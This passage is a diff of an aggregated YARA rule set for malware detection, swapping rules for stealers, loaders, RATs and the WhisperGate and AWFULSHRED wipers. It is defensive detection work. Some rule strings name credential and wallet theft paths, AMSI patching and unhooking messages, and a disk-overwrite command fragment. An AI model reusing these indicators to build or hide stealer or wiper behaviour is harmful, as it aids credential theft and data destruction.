"https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/RustyDropper/win_mal_RustyDropper.yar#L1-L12" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WorkersDevBackdoor/WorkersDevBackdoor_PS.yar#L1-L18" license_url = "N/A" - hash = "a3a5e7011335a2284e2d4f73fd464ff129f0c9276878a054c1932bc50608584b" - logic_hash = "d0c76bcd1af63cc1b1fbabc3fa33e6caafd7d9c7c3780a94a1ed37eadef655d7" + logic_hash = "c71eed8fd7a44f3018150cc6ef55d10779093ed8e4c77fd9babcf9b1b9fadfda" score = 75 - quality = 81 + quality = 85 tags = "FILE" strings: - $s1 = {47 3a 5c 52 55 53 54 5f 44 52 4f 50 50 45 52 5f 45 58 45 5f 50 41 59 4c 4f 41 44 5c 44 52 4f 50 50 45 52 5f 4d 41 49 4e 5c} - $s2 = {46 45 41 54 55 52 45 5f 42 52 4f 57 53 45 52 5f 45 4d 55 4c 41 54 49 4f 4e} + $s1 = "sleep" wide + $s2 = "convertto-securestring" wide + $s3 = "System.Drawing.dll" wide + $s4 = "System.Web.Extensions.dll" wide + $s5 = "System.Windows.Forms.dll" wide + $s6 = "CSharp" wide condition: - uint16( 0 ) == 0x5A4D and all of them + all of ( $s* ) and filesize < 200KB } -rule RUSSIANPANDA_Legionloader : FILE + +rule RUSSIANPANDA_Workersdevbackdoor : FILE { meta: - description = "Detects LegionLoader core payload" + description = "Detects WorkersDevBackdoor" author = "RussianPanda" - id = "8ef86f65-543e-5491-8459-fd540e70fc0c" - date = "2024-10-05" - modified = "2024-12-30" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/LegionLoader/legionloader.yar#L1-L17" + id = "725e0924-c108-5927-8d27-e4bc5b284883" + date = "2023-12-15" + modified = "2024-01-05" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WorkersDevBackdoor/WorkDevBackdoor.yar#L3-L20" license_url = "N/A" - hash = "3b630367b2942bd765f8a35bca47ea6b" - logic_hash = "c833b22a6e87f6289e723a51ac9eb02848a4868c73ca9f568f6450e53c41a657" + logic_hash = "f92ad9dc657d87a47e539ea2ee896f9b86bb95e51a890a838c6e6b0efa5deb7d" score = 75 quality = 85 tags = "FILE" strings: - $s1 = "crypto_domain" - $s2 = "postback_url" - $s3 = "last_win_error" + $s1 = {72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 20 00 7B 00 30 00 7D 00 20 00 7B 00 31 00 7D} + $s2 = {72 FB 00 00 70 72 13 01 00 70 28 20 00 00 0A 72 2D 01 00 70} + $s3 = {55 00 53 00 45 00 52 00 44 00 4F 00 4D 00 41 00 49 00 4E} + $s4 = {43 00 4F 00 4D 00 50 00 55 00 54 00 45 00 52 00 4E 00 41 00 4D 00 45} condition: - uint16( 0 ) == 0x5A4D and all of them and filesize < 500KB + 3 of ( $s* ) and pe.imports ( "mscoree.dll" ) and filesize < 2MB } -rule RUSSIANPANDA_Legionloader_Dropper : FILE +rule RUSSIANPANDA_Weyhroc2 : FILE { meta: - description = "Detects malicious LegionLoader DLL dropper" + description = "Detects Weyhro C2" author = "RussianPanda" - id = "a1b04033-cfe0-5088-bfee-d08752e8840b" - date = "2024-09-23" - modified = "2024-09-23" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/LegionLoader/LegionLoader_dropper.yar#L1-L17" + id = "228bc7be-ebe0-5dcd-aaf3-be0bf5aa6e1b" + date = "2025-12-04" + modified = "2025-12-05" + reference = "https://x.com/RussianPanda9xx/status/1996258417476837746?s=20" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/WeyhroC2/win_mal_weyhroc2.yar#L1-L15" license_url = "N/A" - hash = "ef5b961ebc6167e728f9bf40e726ac71" - logic_hash = "0871a6a0ab2c405793e8a49e662ba41acdcc6c8afac315f290de2cc05abd39fa" + hash = "ec4ab4e4d700c9e5fdda59eb879a2bf18d0eefd825539d64677144d43a744cee" + logic_hash = "fe15c701afd3f7bc6ecd0f1d228f158f4cec5d0ad8932f0014e4d78ca7427f43" score = 75 quality = 85 tags = "FILE" strings: - $s1 = {48 03 CA [0-50] 33 D2 33 C9 FF 15 ?? ?? ?? ?? 33 D2 33 C9 FF 15} - $s2 = {44 30 3B 48 FF C3} - $s3 = {8B ?? 8B ?? 83 ?? 01 D1 ?? F7 ?? 81 ?? 20 83 B8 ED 8B} + $s1 = "AMSI patch skipped" + $s2 = "AMSI patched successfully" + $s3 = "IAT unhook successful" + $s4 = "Inline unhook successful" condition: - uint16( 0 ) == 0x5A4D and all of them and filesize < 1MB + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Win_Ransom_Lockbit5 : FILE +rule RUSSIANPANDA_Vidar_DLL_Embedded { meta: - description = "Detects LockBit 5.0" + description = "Vidar Stealer with embedded DLL dependencies" author = "RussianPanda" - id = "bfe66503-fdd1-5a9a-9509-5b97efaabd9b" - date = "2025-09-15" - modified = "2025-09-15" + id = "462fe42a-2504-5e7e-ad90-2c7e54478204" + date = "2023-05-02" + modified = "2023-05-05" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/Ransomware/win_ransom_lockbit5.0.yar#L1-L15" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/VidarStealer/vidar_ver3.6_3.7_dll_embedded.yar#L1-L21" license_url = "N/A" - hash = "7ea5afbc166c4e23498aa9747be81ceaf8dad90b8daa07a6e4644dc7c2277b82" - logic_hash = "579944626f576ce9771b0a7de40a5766221acd5db1ef4257a45314a99714067d" + logic_hash = "98d23523c2ab196f670dc33164954fc69a1c1692fa870a476e25d7dd3cebace2" score = 75 quality = 85 - tags = "FILE" + tags = "" strings: - $s1 = {C6 41 0F 00 0F B6 ?? 33 ?? 89} - $s2 = {0F B6 ?? 0F C1 ?? 18 31} - $s3 = {83 ?? 02 83 ?? 0F D0 84 ?? ?? 00 00 00} + $s = {50 4B 03 04 14 00 00 00 08 00 24 56 25 55 2B 6D 5C 08 39 7C 05} + $a1 = "https://t.me/mastersbots" + $a2 = "https://steamcommunity.com/profiles/76561199501059503" + $a3 = "%s\\%s\\Local Storage\\leveldb" + $a4 = "\\Autofill\\%s_%s.txt" + $a5 = "\\Downloads\\%s_%s.txt" + $a6 = "\\CC\\%s_%s.txt" + $a7 = "Exodus\\exodus.wallet" condition: - all of ( $s* ) and uint16( 0 ) == 0x5A4D and filesize < 1MB + $s and 5 of ( $a* ) } -rule RUSSIANPANDA_Mal_Botnetfenix_Payload : FILE +rule RUSSIANPANDA_Win_Mal_Glorysprout_Stealer : FILE { meta: - description = "Detects BotnetFenix payload" + description = "Detects GlorySprout Stealer" author = "RussianPanda" - id = "566bfae1-c43d-5bd6-adcf-faff32d8c325" - date = "2024-02-02" - modified = "2024-02-04" + id = "44c50f20-479e-5960-9ab9-97b9a17d7cbf" + date = "2024-03-16" + modified = "2024-03-16" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/FenixBotnet/mal_BotnetFenix_Payload.yar#L1-L16" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/GlorySprout/win_mal_GlorySprout_Stealer.yar#L1-L13" license_url = "N/A" - hash = "65a9575c50a96d04a3f649fe0f6b8ccd" - logic_hash = "27f423b509ad8de0f8389c7b3e3bfec2eeb10c964aa8c70bad47cc4334df1a5e" + hash = "8996c252fc41b7ec0ec73ce814e84136be6efef898822146c25af2330f4fd04a" + logic_hash = "c843f7924e69c1b9fc3676178aa630319fe25605deddcd73c4905c51cc97d7eb" score = 75 quality = 85 tags = "FILE" strings: - $s1 = "tasks_register" - $s2 = "actionget_action" - $s3 = "Post Success" - $s4 = "Success Stealer" - $s5 = "Download and Execute task id" - $a = "_CorExeMain" + $s1 = {25 0F 00 00 80 79 05 48 83 C8 F0 40} + $s2 = {8B 82 A4 00 00 00 8B F9 89 06 8D 4E 0C 8B 82 A8 00 00 00 89 46 04 0F B7 92 AC 00 00 00 89 56 08} + $s3 = {0F B6 06 C1 E7 04 03 F8 8B C7 25 00 00 00 F0 74 0B C1 E8 18} condition: - uint16( 0 ) == 0x5A4D and 4 of ( $s* ) and $a + uint16( 0 ) == 0x5A4D and all of them and #s1 > 100 } -rule RUSSIANPANDA_Mal_Fenixbotnet_Jse +rule RUSSIANPANDA_Obfuscation_Powershell_Special_Chars { meta: - description = "Detects Fenix Botnet JSE downloader" + description = "Detects PowerShell special character obfuscation" author = "RussianPanda" - id = "00c6f8a6-c2e2-5b08-b332-b91371060bbe" - date = "2024-01-18" + id = "dd2d41d4-3431-5252-adf1-d537f3b8db7e" + date = "2024-01-12" modified = "2024-02-02" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/FenixBotnet/mal_FenixBotnet_jse.yar#L1-L14" + reference = "https://perl-users.jp/articles/advent-calendar/2010/sym/11" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PowerShell Obfuscation/obfuscation_powershell_special_chars.yar#L1-L15" license_url = "N/A" - hash = "a7fadf0050d4d0b2cefd808e16dfde69" - logic_hash = "848c00361fba60e63e8ec4098404e87d4ba2b11d8489ad16d49c20fc653a5e45" + hash = "d77efad78ef3afc5426432597ba129141952719846bc5ccd058249bb23d8a905" + logic_hash = "4cc4ebffe7bf712b412a060536acc51d94381d24b46e5494195ae17482076cd6" score = 75 - quality = 85 + quality = 81 tags = "" strings: - $s1 = {76 61 72 20 [0-30] 3D 20 22 66 22} - $s2 = {76 61 72 20 [0-30] 3D 20 22 75 22} - $s3 = {76 61 72 20 [0-30] 3D 20 22 6E 22} - $s4 = {6E 65 77 20 46 75 6E 63 74 69 6F 6E 28 64 65 63 6F 64 65 55 52 49 43 6F 6D 70 6F 6E 65 6E 74 28 [0-30] 29 29 2E 63 61 6C 6C 28 29} + $s1 = {7d 3d 2b 2b 24 7b} + $s2 = {24 28 20 20 29} + $s3 = {24 7B [1-10] 7D 20 20 2B 20 20 24} + $s4 = {24 7B [1-10] 7D 24 7B} condition: - all of ( $s* ) + 2 of ( $s* ) } - -rule RUSSIANPANDA_Metastealer +rule RUSSIANPANDA_Sentinel_Stealer { meta: - description = "Detects the old version of MetaStealer 11-2023" + description = "Detects Sentinel Stealer" author = "RussianPanda" - id = "c178630b-d188-5faf-86b3-436894241d77" - date = "2023-11-16" - modified = "2023-12-30" + id = "8a221d7b-8fa6-53cd-a3e8-63cc67285186" + date = "2024-01-19" + modified = "2024-01-19" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MetaStealer/metastealer.yar#L2-L19" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/SentinelStealer/sentinel_stealer.yar#L1-L14" license_url = "N/A" - logic_hash = "f78b376713daf82aa2e0cbd6bf45f33d25530449fa05673c8a7c6b4c0dddca79" + hash = "3a540a8a81c5a5b452f154d7875423a3" + logic_hash = "b9d72848842ea4d26544633bb83fccd17239b28493bde3f73341eb2004d8ee0c" score = 75 quality = 85 tags = "" strings: - $s1 = "FileScannerRule" - $s2 = "MSObject" - $s3 = "MSValue" - $s4 = "GetBrowsers" - $s5 = "Biohazard" + $s1 = "Sentinel.SmallerEncryptedIcon" wide + $s2 = "SentinelSteals" wide + $s4 = "_CorExeMain" condition: - 4 of ( $s* ) and pe.imports ( "mscoree.dll" ) + all of them } - -rule RUSSIANPANDA_Metastealer_Core_Payload +rule RUSSIANPANDA_Win_Mal_Astarionrat : FILE { meta: - description = "Detects MetaStealer Core Payload" + description = "Detects AstarionRAT" author = "RussianPanda" - id = "ff5854b5-4dac-59d7-8c5a-d5b808d63483" - date = "2023-12-29" - modified = "2023-12-29" + id = "70588745-761a-5b74-a612-7affde300b09" + date = "2025-02-14" + modified = "2026-02-14" reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MetaStealer/metastealer_core_payload_12-2023.yar#L2-L19" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AstarionRAT/win_mal_AstarionRAT.yar#L1-L13" license_url = "N/A" - logic_hash = "99a319023f2c1b714a70458bd33649d6cc343b500a409af12c2eb1ce38ba4241" + hash = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b" + logic_hash = "ea8050f9127fdbc70b3e8f390bb557b9ac39045e98a1998f11363016d17c3164" score = 75 quality = 85 - tags = "" - - strings: - $s1 = "FileScannerRule" - $s2 = "TreeObject" - $s3 = "Schema" - $s4 = "StringDecrypt" - $s5 = "AccountDetails" - - condition: - 4 of ( $s* ) and pe.imports ( "mscoree.dll" ) -} -rule RUSSIANPANDA_Metastealer_NET_Reactor_Packer : FILE -{ - meta: - description = "Detects NET_Reactor_packer 12-2023 used in MetaStealer" - author = "RussianPanda" - id = "5d4f62d2-6a27-53af-9b03-61daa99c10a4" - date = "2023-12-29" - modified = "2023-12-30" - reference = "https://github.com/RussianPanda95/Yara-Rules" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MetaStealer/metastealer_12-2023_packer.yar#L1-L16" - license_url = "N/A" - logic_hash = "1951d8b05f11b8a77a5bf792ad2b0ad95b8dede936ab5cd0699383468c3c97a8" - score = 75 - quality = 83 tags = "FILE" strings: - $s1 = {C7 84 24 80 02 00 00 24 02 00 00 C6 44 24} - $s2 = "mscoree.dll" wide - $s3 = {43 61 76 69 6c 73 20 43 6f 72 70 2e 20 32 30 31 30} - $s4 = {80 F1 E7 80 F2 44 [16] 80 F1 4B 80 F2 23} + $s1 = "s5://%s:%s@%s:%d" + $s2 = "Failed to connect to the server" + $s3 = "Impersonated" condition: - 3 of ( $s* ) and filesize < 600KB + uint16( 0 ) == 0x5A4D and all of them } -rule RUSSIANPANDA_Purecrypter_Core : FILE +rule RUSSIANPANDA_Andeloader { meta: - description = "Detects PureCrypter Core payload" + description = "Detects Ande Loader" author = "RussianPanda" - id = "41aaa187-0fb5-53fe-a162-8d1a4974ccc1" - date = "2024-01-09" - modified = "2024-01-09" - reference = "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PureCrypter/purecrypter_core.yar#L3-L28" + id = "c08d63b6-9fef-505d-9611-9dd0403c7c7c" + date = "2023-12-11" + modified = "2023-12-11" + reference = "https://github.com/RussianPanda95/Yara-Rules" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/AndeLoader/ande_loader.yar#L3-L18" license_url = "N/A" - hash = "e4faa7d7a098414449abffb210fd874798207ee9d27643c8088676ff429b56b7" - logic_hash = "8c761a98369436ffbe1379152461753778985a42ae656567018b47c71af7d866" + logic_hash = "cd55153077e5cfbd84cbe5b062dbd842def245417acfea4ed6c2b1db702dcc81" score = 75 - quality = 81 - tags = "FILE" + quality = 83 + tags = "" strings: - $s1 = {47 5A 69 70 53 74 72 65 61 6D} - $s2 = {41 73 73 65 6D 62 6C 79 4C 6F 61 64 65 72 00 43 6F 73 74 75 72 61} - $s3 = {44 65 66 6C 61 74 65 53 74 72 65 61 6D} - $cnct = {72 ?? ?? 00 70 28 FB 00 00 0A 72 ?? ?? 00 70 28 ?? 00 00 0A} - $nr1 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 34 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 31 00 7D} - $nr2 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 34 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 32 00 7D} - $nr3 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 32 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 32 00 7D} - $nr4 = {7B 00 31 00 31 00 31 00 31 00 31 00 2D 00 32 00 32 00 32 00 32 00 32 00 2D 00 32 00 30 00 30 00 30 00 31 00 2D 00 30 00 30 00 30 00 30 00 31 00 7D} + $s1 = {59 61 6E 6F 41 74 74 72 69 62 75 74 65} + $s2 = "CreateShortcut" wide + $s3 = ".vbs" wide condition: - filesize < 5MB and all of ( $s* ) and dotnet.number_of_resources > 4 and dotnet.number_of_resources < 6 and 2 of ( $nr* ) and dotnet.assembly_refs [ 1 ] . name contains "protobuf-net" and #cnct > 5 + 3 of ( $s* ) and pe.imports ( "mscoree.dll" ) } - -rule RUSSIANPANDA_Purecrypter : FILE +rule RUSSIANPANDA_Meduzastealer : FILE { meta: - description = "Detects PureCrypter" + description = "Detects MeduzaStealer 1-2024" author = "RussianPanda" - id = "5670772c-ada1-55fa-b7fd-9dadd1756259" - date = "2024-01-09" - modified = "2024-01-09" - reference = "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter" - source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/PureCrypter/purecrypter.yar#L3-L22" + id = "6bc4c048-a32d-5a9c-b213-980c64d08d29" + date = "2024-01-01" + modified = "2024-01-01" + reference = "https://russianpanda.com/2023/06/28/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer/" + source_url = "https://github.com/RussianPanda95/Yara-Rules/blob/dff551be45bf6382c3d31dea2e9105147ee32e79/MeduzaStealer/MeduzaStealer_1-1-2024.yar#L1-L16" license_url = "N/A" - hash = "566d8749e166436792dfcbb5e5514f18c9afc0e1314833ac2e3d86f37ff2030f" - logic_hash = "dd8592fa0b7d240d23235008601500a20e068032f6dcd6e90a38b06ac747b8af" + logic_hash = "0547e51abd04302c45f1319bc21046ade019bc98eb85d9cba67cb2109ff642eb" score = 75 quality = 83 tags = "FILE" strings: - $s1 = {28 ?? 00 00 ?? 28 02 00 00 2B 28 ?? 00 00 (0A|06)} - $s2 = {73 ?? 00 00 0A} - $s3 = {73 ?? 00 00 06 6F ?? 00 00 06} - $s4 = {52 65 73 6F 75 72 63 65 4D 61 6E 61 67 65 72} - $s5 = {28 ?? 00 00 ?? 6F ?? 00 00 0A 28 03 00 00 2B ?? 6F ?? 00 00 0A 28 ?? 00 00 2B} + $s1 = {41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 57 69 6e 55 70 64 61 74 65 2e 65 78 65} + $s2 = {0f 57 ?? ?? ?? 00 00 66 0f 7f 85 ?? ?? 00 00} + $s3 = {48 8d 15 ?? ?? 05 00 49 8b cf} + $s4 = {48 8d 0d ?? ?? 06 00 ff 15 ?? ?? 06 00} condition: - filesize < 6MB and 4 of ( $s* ) and dotnet.number_of_resources > 0 and dotnet.number_of_resources < 2 and dotnet.resources [ 0 ] . length > 300KB + 3 of ( $s* ) and filesize < 1MB } /* * YARA Rule Set * Repository Name: CadoSecurity * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9 * Number of Rules: 8 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -169654,32 +169601,32 @@ rule RUSSIANPANDA_Purecrypter : FILE * * NO LICENSE SET */ -rule CADOSECURITY_Wiper_Ukr_Feb_2022 : FILE +rule CADOSECURITY_Lambda_Malware : FILE { meta: - description = "Detects Wiper seen in Ukraine 23rd Feb 2022" - author = "cadosecurity.com" - id = "98f80c1b-7575-51d4-8265-680ea204990a" - date = "2022-02-23" - modified = "2023-04-10" - reference = "https://github.com/cado-security/wiper_feb_2022" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Wiper_Ukr_Feb_2022.yar#L1-L18" + description = "Detects AWS Lambda Malware" + author = "cdoman@cadosecurity.com" + id = "cd867d39-7ff8-599a-bd65-e0f5581ac3f6" + date = "2022-04-03" + modified = "2022-07-06" + reference = "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Lambda_Malware.yar#L1-L17" license_url = "N/A" - hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591" - logic_hash = "fa96b88c42bdd4ba437f090d781b38c5c7f9fcb690aeff4161f24aedb1870587" + logic_hash = "46567ceeb39a3b3379fc5ee876e1539b24e8192af8fe31b5df16fb2b3105f176" score = 75 quality = 80 tags = "FILE" license = "Apache License 2.0" + hash1 = "739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed" + hash2 = "a31ae5b7968056d8d99b1b720a66a9a1aeee3637b97050d95d96ef3a265cbbca" strings: - $ = "Hermetica Digital Ltd" wide ascii - $ = "DRV_XP_X64" wide ascii - $ = "Windows\\System32\\winevt\\Logs" wide ascii - $ = "EPMNTDRV\\%u" wide ascii + $a = "github.com/likexian/doh-go/provider/" + $b = "Mozilla/5.0 (compatible; Ezooms/1.0; help@moz.com)" + $c = "username:password pair for mining server" condition: - uint16( 0 ) == 0x5A4D and all of them + filesize < 30000KB and all of them } rule CADOSECURITY_Whispergate_Stage_1 : FILE { @@ -169738,70 +169685,63 @@ rule CADOSECURITY_Linux_Worm_ORCSHRED condition: 4 of them } -rule CADOSECURITY_Linux_Wiper_AWFULSHRED +rule CADOSECURITY_Whispergate_Stage_2 : FILE { meta: - description = "Detects AWFULSHRED wiper used against Ukrainian ICS" + description = "Detects second stage payload from WhisperGate" author = "mmuir@cadosecurity.com" - id = "0328f0d9-3c73-5d13-bf32-8a25139cf3cf" - date = "2022-04-12" - modified = "2022-07-06" - reference = "https://github.com/cado-security/DFIR_Resources_Industroyer2" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Linux_Wiper_AWFULSHRED.yar#L1-L26" + id = "ef3b4b56-e4f4-599f-a46b-ed450f97a66e" + date = "2022-01-17" + modified = "2023-04-10" + reference = "https://github.com/cado-security/DFIR_Resources_Whispergate" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Whispergate_Stage_2.yar#L1-L20" license_url = "N/A" - hash = "bcdf0bd8142a4828c61e775686c9892d89893ed0f5093bdc70bde3e48d04ab99" - logic_hash = "796dfdc4238e3d729180657b7bc79464003434c73568b49895cb8d37ce1a5499" + hash = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78" + logic_hash = "2ecf679e2d69a6433caaad867cc403f8759e1692fbe08006a73c73a062c68fe1" score = 75 - quality = 80 - tags = "" + quality = 64 + tags = "FILE" license = "Apache License 2.0" strings: - $isBash = "/bin/bash" ascii - $a1 = "declare -r" ascii - $a2 = "bash_history" ascii - $a3 = "bs=1k if=/dev/urandom of=" ascii - $a4 = "systemd" ascii - $a5 = "apache http ssh" ascii - $a6 = "shred" ascii - $var1 = "iwljzfkg" ascii - $var2 = "yrkdrrue" ascii - $var3 = "agzerlyf" ascii - $var4 = "rggygzny" ascii - $var5 = "zubzgnvp" ascii + $a = { 6D 5F 49 6E 74 65 72 63 65 70 74 6F 72 } + $b = { 6D 5F 62 31 36 65 37 33 65 30 64 61 61 63 34 62 34 33 62 36 35 36 36 39 30 31 62 35 34 32 34 63 35 33 } + $c = { 6D 5F 34 33 37 37 33 32 63 65 65 35 66 35 34 64 37 64 38 34 61 64 64 37 62 64 33 30 39 37 64 33 63 61 } + $d = { 6D 5F 30 64 62 39 37 30 38 63 66 36 34 39 34 30 38 32 39 66 39 61 66 38 37 65 64 65 65 64 66 36 30 65 } + $e = { 6D 5F 65 31 34 33 33 31 36 38 32 30 62 31 34 64 30 33 38 38 61 37 32 37 34 34 33 38 65 63 30 37 38 64 } + $f = { 6D 5F 66 33 31 30 39 30 63 37 31 35 64 65 34 62 30 62 61 62 64 33 31 61 36 33 34 31 31 30 34 36 63 38 } + $g = { 6D 5F 36 31 31 64 31 61 62 63 33 32 66 63 34 66 64 38 61 33 34 65 30 34 34 66 39 37 33 34 34 31 64 61 } + $h = { 6D 5F 37 37 34 62 39 32 31 30 64 39 38 31 34 32 65 62 62 34 34 31 33 35 35 39 64 61 61 65 35 61 34 34 } condition: - $isBash and 3 of ( $a* ) and 4 of ( $var* ) + uint16( 0 ) == 0x5A4D and all of them } -rule CADOSECURITY_Powershell_Downloader_POWERGAP +rule CADOSECURITY_Wiper_Ukr_Feb_2022 : FILE { meta: - description = "Detects POWERGAP downloader used against Ukrainian ICS" - author = "mmuir@cadosecurity.com" - id = "d2a2604c-c558-5663-8dd3-44f3fdda1f71" - date = "2022-04-12" - modified = "2022-07-06" - reference = "https://github.com/cado-security/DFIR_Resources_Industroyer2" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Powershell_Downloader_POWERGAP.yar#L1-L19" + description = "Detects Wiper seen in Ukraine 23rd Feb 2022" + author = "cadosecurity.com" + id = "98f80c1b-7575-51d4-8265-680ea204990a" + date = "2022-02-23" + modified = "2023-04-10" + reference = "https://github.com/cado-security/wiper_feb_2022" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Wiper_Ukr_Feb_2022.yar#L1-L18" license_url = "N/A" - logic_hash = "a9ef1d04ca921f285e973f6abcb2b355eae110678da866e3b6499aa0318338fd" + hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591" + logic_hash = "fa96b88c42bdd4ba437f090d781b38c5c7f9fcb690aeff4161f24aedb1870587" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "Apache License 2.0" strings: - $a = "Start-work" ascii - $b = "$GpoGuid" ascii - $c = "$SourceFile" ascii - $d = "$DestinationFile" ascii - $e = "$appName" ascii - $f = "LDAP://ROOTDSE" ascii - $g = "GPT.INI" ascii - $h = "Get-WmiObject" ascii + $ = "Hermetica Digital Ltd" wide ascii + $ = "DRV_XP_X64" wide ascii + $ = "Windows\\System32\\winevt\\Logs" wide ascii + $ = "EPMNTDRV\\%u" wide ascii condition: - 5 of them + uint16( 0 ) == 0x5A4D and all of them } rule CADOSECURITY_Linux_Wiper_SOLOSHRED { @@ -169831,69 +169771,76 @@ rule CADOSECURITY_Linux_Wiper_SOLOSHRED condition: all of them } -rule CADOSECURITY_Whispergate_Stage_2 : FILE +rule CADOSECURITY_Powershell_Downloader_POWERGAP { meta: - description = "Detects second stage payload from WhisperGate" + description = "Detects POWERGAP downloader used against Ukrainian ICS" author = "mmuir@cadosecurity.com" - id = "ef3b4b56-e4f4-599f-a46b-ed450f97a66e" - date = "2022-01-17" - modified = "2023-04-10" - reference = "https://github.com/cado-security/DFIR_Resources_Whispergate" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Whispergate_Stage_2.yar#L1-L20" + id = "d2a2604c-c558-5663-8dd3-44f3fdda1f71" + date = "2022-04-12" + modified = "2022-07-06" + reference = "https://github.com/cado-security/DFIR_Resources_Industroyer2" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Powershell_Downloader_POWERGAP.yar#L1-L19" license_url = "N/A" - hash = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78" - logic_hash = "2ecf679e2d69a6433caaad867cc403f8759e1692fbe08006a73c73a062c68fe1" + logic_hash = "a9ef1d04ca921f285e973f6abcb2b355eae110678da866e3b6499aa0318338fd" score = 75 - quality = 64 - tags = "FILE" + quality = 80 + tags = "" license = "Apache License 2.0" strings: - $a = { 6D 5F 49 6E 74 65 72 63 65 70 74 6F 72 } - $b = { 6D 5F 62 31 36 65 37 33 65 30 64 61 61 63 34 62 34 33 62 36 35 36 36 39 30 31 62 35 34 32 34 63 35 33 } - $c = { 6D 5F 34 33 37 37 33 32 63 65 65 35 66 35 34 64 37 64 38 34 61 64 64 37 62 64 33 30 39 37 64 33 63 61 } - $d = { 6D 5F 30 64 62 39 37 30 38 63 66 36 34 39 34 30 